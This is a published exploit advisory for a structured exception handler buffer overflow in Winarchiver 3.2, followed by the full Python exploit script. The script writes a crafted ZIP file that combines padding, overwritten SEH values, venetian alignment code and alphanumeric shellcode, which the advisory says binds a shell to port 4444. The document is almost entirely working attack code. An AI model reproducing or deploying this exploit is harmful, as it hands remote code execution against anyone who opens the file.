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Winarchiver 3.2 Buffer Overflow

Winarchiver 3.2 Buffer Overflow
Posted May 3, 2013
Authored by Pedro Guillen Nunez, Miguel Angel de Castro Simon, Josep Pi Rodriguez

Winarchiver version 3.2 structured exception handler buffer overflow exploit that binds a shell to port 4444.

tags | exploit, overflow, shell
MD5 | fd5dd9694101deb5dd149f0f0d8db4e5

Winarchiver 3.2 Buffer Overflow

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#/usr/bin/python
# Exploit Title: Winarchiver V 3.2 SEH Overflow
# Date: April 24, 2013
# Exploit Author: Josep Pi Rodriguez, Pedro Guillen Nunez , Miguel Angel de Castro Simon
# Organization: RealPentesting
# Vendor Homepage: http://winarchiver.com
# Software Link: http://www.winarchiver.com/WinArchiver3.exe
# Version: 3.2
# Tested on: Windows XP SP3
zip_header = (
"\x50\x4B\x03\x04\x0A\x00\x04\x02\x00\x00\xE5\x18\xE9\x3E\xCC\xD4"
"\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00\x00\x08\x00\x00\x00\x54\x65"
"\x73\x74\x2E\x74\x78\x74\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20"
"\x74\x65\x73\x74\x21\x50\x4B\x01\x02\x14\x00\x0A\x00\x40\x00\x00"
"\x00\xE5\x18\xE9\x3E\xCC\xD4\x7C\x56\x0F\x00\x00\x00\x0F\x00\x00"
"\x00\xBE\x20\x00\x00\x00\x00\x00\x00\x01\x00\x3D\xAC\xBD\x04\x00"
"\x00\x00\x00"
)
zip_final=(
"\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\xEC\x20\x00"
"\x00\x35\x00\x00\x00\x00\x00"
)
seh = "\x31\x48" #ppr 0x00480031
nextseh = "\x58\x70"
venetian = (
"\x55\x55"
"\x70"
"\x58"
"\x70"
"\x05\x25\x11"
"\x55"
"\x2d\x19\x11"
"\x55"
"\x50"
"\x55"
"\xc7"
)
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1"
"AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBKLJHDIM0KPM030SYK5P18RQTDK1BNPDK0RLLTKB2MDDKS"
"BO8LO870JMVNQKOP1I0VLOLQQCLLBNLO091HOLMKQ7WZBL0220W4KQBLPTKOROLKQZ0TKOPRX55WPRTPJKQXP0P"
"TKOXLXDKQHO0M1J39SOLQ9DKNT4KM1Z601KONQGPFLGQXOLMM197NXIP2UZTLC3MJXOKCMND2UZBPXTK1HO4KQJ"
"3QVDKLLPKTKB8MLKQJ3TKM4TKKQZ04IOTMTMTQK1KQQQI1JPQKOK0PX1OQJ4KLRJKSVQM1XNSNRM0KPBHD7T3P2"
"QOR4QXPL2WO6KWKOHUVXDPKQKPKPNIGTQDPPS8MYU0RKM0KOZ5PPPP20PPQ0PPOPPPQXYZLO9OK0KOYEU9Y7NQY"
"K0SQXKRM0LQ1L3YJFQZLPQFR7QX7RIK07QWKOJ5PSPWS86WIYNXKOKOXUR3R3R7QXD4JLOKYQKOJ5B73YHGBH45"
"2NPM31KOXUQXC3RMC4M0CYYS1GQGR701ZV2JLRR90VK2KMQVY7OTMTOLKQM1TMOTMTN0I6KPPD1DPPQF261FQ6B"
"60N26R6PSR6RHRYHLOODFKOIE3YYPPNPVOVKONP38KXTGMM1PKOJ5WKJP6UERB6QX6FTUWMUMKOZ5OLM6SLLJ3P"
"KKK045M5WKQ7N3RRRORJM0QCKOHUA"
)
buffer = "\x41" * (205+216) + shellcode + "\x41" * (2000-216-len(shellcode)) + nextseh + seh + venetian + "\x42" * (6173-len(venetian))
print len(buffer)
payload = buffer
mefile = open('seh_winarch.zip','w')
mefile.write(zip_header + buffer + zip_final)
mefile.close()


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